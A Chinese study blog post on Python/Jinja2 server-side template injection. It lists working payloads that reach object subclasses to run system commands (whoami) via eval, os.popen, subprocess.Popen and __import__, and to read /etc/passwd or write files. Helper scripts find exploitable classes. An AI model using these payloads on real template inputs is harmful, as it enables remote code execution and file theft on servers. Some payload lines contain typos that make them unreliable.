Python SSTI学习

前人之述备矣Python SSTI漏洞学习总结,这里只学习一下文中payload的原理。

背景知识

SSTI 攻击思路

  • 选择一个类,如:'', [], {}
  • 通过这个类找到object类,这是 Python 中所有类的基类:__base____bases____mro__
  • 通过object类获取所有子类:__subclasses__()
  • 在子类列表中找到可以利用的类
  • 直接调用类下面函数或使用该类空间下可用的其他模块的函数

Python 魔术方法

  • init: 对象的初始化方法
  • class: 返回对象所属的类
  • module: 返回类所在的模块
  • mro: 返回类的调用顺序,可以此找到其父类(用于找父类)
  • base: 获取类的直接父类(用于找父类)
  • bases: 获取父类的元组,按它们出现的先后排序(用于找父类)
  • dict: 返回当前类的函数、属性、全局变量等
  • subclasses: 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类)
  • globals: 获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量)
  • import: 用于导入模块,经常用于导入os模块
  • builtins: 返回Python中的内置函数,如eval

Payload分析

在 Python 中,object 是所有类的基类。所有Python类,无论是内置的,还是用户定义的,都继承自object类。所以,大多数SSTI的Payload都会先获取到object类,在从object的子类中寻找可以利用的类。

# 获取子类
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()

需要注意的是object的子类列表的顺序可能会因 Python 环境、版本、已导入的模块等多种因素而有所不同。因此,SSTI的大多数题目都要从获取到子类列表开始。

在文中,作者给出了可以利用的类,以及这些类的利用方法:

# 可以利用的类
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']


# 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

# 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

# 利用subprocess.Popen类进行RCE的payload
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

# 利用__import__导入os模块进行利用
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

# 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
{{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}

# 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
# 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
{{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}

# 通用getshell,都是通过__builtins__调用eval进行代码执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
# 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

下面对这些Payload依次进行分析

__builtins__的eval

__builtins__ 是 Python 中的一个内置模块,它存在于所有 Python 环境中。这个模块包含了很多基本的内置函数和类,例如len(), print(), int(), list(), dict() 等。在SSTI的RCE中,所要利用的就是其中的eval()函数。

观察上面的payload我们可以发现,利用__builtins__eval()函数的格式为:__init__.__globals__['__builtins__'].eval(),这个payload 的意思是从一个子类__init__方法的__globals__属性中获取到__builtins__,再调用__builtins__eval()

因为__globals__包含了函数定义时的全局命名空间中的所有信息。,而__builtins__是默认导入的,所以可以用这样的方式获取到。下面看一个简单的例子:

# test.py
import math
flag = 'skkyblu3'

class A:
    def __init__(self):
        self.a = 1

    def func(self):
        pass


def display(d: dict):       # 用来
    for k, v in d.items():
        print(f'{k}: {v}')


display(A.__init__.__globals__)

# 输出的结果如下
# __name__: __main__
# __doc__: None
# __package__: None
# __loader__: <_frozen_importlib_external.SourceFileLoader object at 0x104910c40>
# __spec__: None
# __annotations__: {}
# __builtins__: <module 'builtins' (built-in)>
# __file__: /Users/ea5ter/Documents/CTF/code/py/ssti/test/test.py
# __cached__: None
# math: <module 'math' from '/Users/ea5ter/.pyenv/versions/3.8.11/lib/python3.8/lib-dynload/math.cpython-38-darwin.so'>
# flag: skkyblu3
# A: <class '__main__.A'>
# display: <function display at 0x10495e160>

其中就有__builtins__这个模块,然后就可以像payload中那样使用eval执行代码:A.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")

既然__globals__输出的是全局命名空间中的所有信息,所以这里其他几个函数的__globals__属性也是可以一样的,对于这个代码下面的payload也可以达到相同的效果:

A.func.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")   # A中的func函数
display.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")   # display函数

另外还有一个有意思的点,因为A.func.__globals__['__builtins__']返回的是__builtins__模块A.func.__globals__['__builtins__'].eval指向的就是这个模块下的方法,所以这种调用是没有问题的:

但是,如果在另一个文件中调用,A.func.__globals__['__builtins__']就不再是一个模块而是一个字典,对于一个字典要调用eval()函数,paylad就变成了A.func.__globals__['__builtins__']['eval']

import test

print(type(test.display.__globals__['__builtins__']))
print(type(test.display.__globals__['__builtins__']['eval']))

造成这样的详细原因可能涉及到一些python的底层,也就不太深究了。总之,结论就是:文件是在被直接执行的环境中__builtins__通常被Python解释器设置为builtins模块;而它作为一个模块导入使用的时候,它的上下文环境发生改变,__builtins__会被设置为一个字典,这个字典包含了builtins模块的所有内容。

但是文章中的payload用.eval的的调用方式依然是有效的,也许和Jinja2的沙盒环境有关🤔

在知道这种payload的逻辑后,我们看一下object的子类中还有没有其他可以利用类:

import importlib

def check_class_builtins(class_full_names):
    for class_full_name in class_full_names:
        try:
            module_name, class_name = class_full_name.rsplit('.', 1)

            # 动态导入模块
            module = importlib.import_module(module_name)
            # 从模块获取类
            cls = getattr(module, class_name)

            init_globals = getattr(cls.__init__, '__globals__', None)
            if init_globals is None:
                # print(f"{class_full_name}.__init__ does not have __globals__.")
                continue

            builtins_type = type(init_globals.get('__builtins__', None))
            print(f"{class_full_name}.__init__.__globals__['__builtins__'] is {builtins_type}.")

        except Exception as e:
            pass
            # print(f"Error while processing {class_full_name}: {e}")


subclass_names = [f"{cls.__module__}.{cls.__name__}" for cls in object.__subclasses__()]
# print(subclass_names)
check_class_builtins(subclass_names)

可以看到除了warnings.catch_warnings还有不少可以像这样.__init__.__globals__['__builtins__']利用的类:

_frozen_importlib._ModuleLock.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib._DummyModuleLock.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib._ModuleLockManager.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib.ModuleSpec.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external.FileLoader.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external._NamespacePath.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external._NamespaceLoader.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external.FileFinder.__init__.__globals__['__builtins__'] is <class 'dict'>.
zipimport.zipimporter.__init__.__globals__['__builtins__'] is <class 'dict'>.
zipimport._ZipImportResourceReader.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.IncrementalEncoder.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.IncrementalDecoder.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.StreamReaderWriter.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.StreamRecoder.__init__.__globals__['__builtins__'] is <class 'dict'>.
os._wrap_close.__init__.__globals__['__builtins__'] is <class 'dict'>.
_sitebuiltins.Quitter.__init__.__globals__['__builtins__'] is <class 'dict'>.
_sitebuiltins._Printer.__init__.__globals__['__builtins__'] is <class 'dict'>.
types.DynamicClassAttribute.__init__.__globals__['__builtins__'] is <class 'dict'>.
types._GeneratorWrapper.__init__.__globals__['__builtins__'] is <class 'dict'>.
warnings.WarningMessage.__init__.__globals__['__builtins__'] is <class 'dict'>.
warnings.catch_warnings.__init__.__globals__['__builtins__'] is <class 'dict'>.
reprlib.Repr.__init__.__globals__['__builtins__'] is <class 'dict'>.
functools.partialmethod.__init__.__globals__['__builtins__'] is <class 'dict'>.
functools.singledispatchmethod.__init__.__globals__['__builtins__'] is <class 'dict'>.
functools.cached_property.__init__.__globals__['__builtins__'] is <class 'dict'>.
contextlib._GeneratorContextManagerBase.__init__.__globals__['__builtins__'] is <class 'dict'>.
contextlib._BaseExitStack.__init__.__globals__['__builtins__'] is <class 'dict'>.
test.A.__init__.__globals__['__builtins__'] is <class 'dict'>.

os.popen

os模块下的popen函数可用于执行系统命令。

os._wrap_close这个类是在os模块中的,所以像上面那样,在它的全局环境中找到Popen调用即可。

对应的Payload为:

{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

__import__()

__import__ 是 Python 的一个内置函数,用于动态地导入模块。它提供了一种在运行时根据字符串形式的模块名导入模块的方式。

在上面的Payload中通过导入os模块执行popen

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

整个格式也差不多,不过这里没说所用的这个类是什么。用脚本搜索一下__globals__中存在__import__的类,一共有四个_frozen_importlib._ModuleLock_frozen_importlib._DummyModuleLock_frozen_importlib._ModuleLockManager_frozen_importlib.ModuleSpec

这里还学到了个点,就是当你试图访问一个变量时,Python解释器会首先在当前的局部命名空间寻找,如果找不到,就会去全局命名空间寻找,如果还找不到,就会去内置命名空间寻找。这就是所谓的LEGB规则(Local -> Enclosed -> Global -> Built-in)。

所以上面那四个类它们是在全局命名空间中注册了__import__ 函数的。

不过既然__import__是一个内置函数,那我们也可以在__builtins__中找到。所以也可以像这样调用:

# A为任何一个全局命名空间中存在__builtins__模块的类
A.__globals__.__builtins__.__import__('os').popen('whoami').read()

subprocess.Popen

subprocess下的Popen类也可以用来执行命令,与之前方法有所区别的是Popen是一个类。

{{subprocess.Popen('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

subprocess.Popen('whoami', shell=True, stdout=-1)创建并启动了一个新的子进程来执行 'whoami' 命令。其中:

  • shell=True:这个参数允许我们通过 shell 来执行命令。
  • stdout=-1:这个参数意味着子进程的标准输出被重定向到一个管道中。-1subprocess.PIPE 的效果是一样的,都是重定向到一个管道。
  • communicate() 方法是 Popen 对象的一个方法,它用于与子进程交互。无参数调用时,它会等待子进程完成,然后返回一个包含子进程 stdoutstderr 输出的元组。
  • [0] 是获取元组的第一个元素,即子进程的 stdout 输出。
  • strip() 用于移除字符串头尾的空格和换行符。

总结

剩余的Payload中说到了一个linecache类,但这个linecache在python中是一个模块,并不是object的子类,之后遇到再说吧。

贴一下在__globals__中找有用东西的代码:

import importlib


def check_class_useful(class_full_names, target):
    for class_full_name in class_full_names:
        try:
            module_name, class_name = class_full_name.rsplit('.', 1)

            # 动态导入模块
            module = importlib.import_module(module_name)
            # 从模块获取类
            cls = getattr(module, class_name)

            init_globals = getattr(cls.__init__, '__globals__', None)
            if init_globals is None:
                # print(f"{class_full_name}.__init__ does not have __globals__.")
                continue

            target_type = init_globals.get(target, None)
            if target_type:
                print(f"{class_full_name}.__init__.__globals__.{target} is {type(target_type)}.")

        except Exception as e:
            pass
            # print(f"Error while processing {class_full_name}: {e}")


subclass_names = [f"{cls.__module__}.{cls.__name__}" for cls in object.__subclasses__()]
target = 'linecache'
check_class_useful(subclass_names, target)